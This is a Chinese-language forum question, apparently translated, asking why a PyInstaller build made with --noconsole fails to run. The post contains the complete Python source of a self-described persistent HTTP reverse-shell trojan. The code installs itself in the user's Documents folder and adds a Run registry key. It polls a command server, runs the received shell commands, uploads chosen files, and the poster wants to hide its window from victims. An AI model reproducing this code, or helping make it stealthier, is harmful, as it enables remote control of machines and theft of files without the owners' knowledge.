Pyinstaller 使用--noconsole 选项时出现“无法执行脚本”错误

Pyinstaller 使用--noconsole 选项时出现“无法执行脚本”错误

我已经完成了 Pyinstaller 的所有调试步骤,但我有点束手无策了,这就是我转向这个的原因。

我正在尝试通过编写一些简单的自定义渗透测试工具来切换到 Python3,目前正在编写一个持久的 HTTP 反向 shell 木马。完整代码如下:

import requests
import subprocess
import time
import os
import shutil
import winreg

path = os.getcwd().strip('\n')

null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split(b'=')

destination = str(userprof.decode().strip('\n\r')) + '\\Documents\\' + 'persistence.exe'

if not os.path.exists(destination):
    shutil.copyfile(path + '\persistence.exe', str(destination))
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run",0,winreg.KEY_ALL_ACCESS)
    winreg.SetValueEx(key,'RegUpdater',0,winreg.REG_SZ,destination)
    key.Close()

while True:
    req = requests.get('http://192.168.0.10')
    command = req.text

    if "terminate" in command:
        break
    elif 'grab' in command:
        grab,path = command.split(" * ")
        if os.path.exists(path):
            url = 'http://192.168.0.10/store'
            files = {'file': open(path, 'rb'),'path': path}
            r = requests.post(url, files=files)
        else:
            post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')
    else:
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
        post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())

    time.sleep(3)

此脚本在使用 Python 解释器执行时运行良好;它使用 HTTP GET 请求连接回另一台机器上的服务器,并将自身安装在用户的文档文件夹中,同时设置 Run 键以保持持久性。然后可以在服务器端执行命令,并通过 POST 请求传输输出。

显然,我想将其编译成一个独立的 EXE,使其成为真正的木马。我可以使用 Pyinstaller 文档中指定的以下命令来执行此操作:

pyinstaller --onefile persistence.py

这运行得很好,无论是从终端运行还是单击,脚本都会像以前一样运行而不会出错。不幸的是,它还会打开一个不可能错过的空终端窗口;显然,这对于木马来说是一个不受欢迎的特性。我不想让用户在他们的屏幕上再多一个窗口!

下列应该阻止该控制台窗口打开:

pyinstaller --onefile --noconsole persistence.py

此命令完成且无错误,但这次脚本不会运行。无论何时执行,无论是单击还是从终端执行,它都会弹出一个窗口,提示“无法执行脚本持久性”。

我尝试了大量调试来修复此问题。在 freeze 命令中添加 --debug all 似乎没有提供任何我能辨别的有用信息。我浏览了 Google 和 Pyinstaller 的问题,发现很多东西似乎表明 subprocess 模块以及 STDIN 和 STDOUT 的处理方式存在问题,但无论我如何修改脚本和 subprocess.Popen 调用(重定向 STDIN、STDOUT 和 STDERR),似乎都无法解决这个问题。我总是得到一个抛出“无法执行脚本”的可执行文件。

我正在运行 pyinstaller 的当前开发版本,我曾尝试过不打包(没有成功),我甚至尝试过手动删除脚本本身中的控制台窗口,但没有成功。

所以我想向你们求助。有什么想法吗?非常感谢您的宝贵时间,如果您需要更多信息,请告诉我!!

相关内容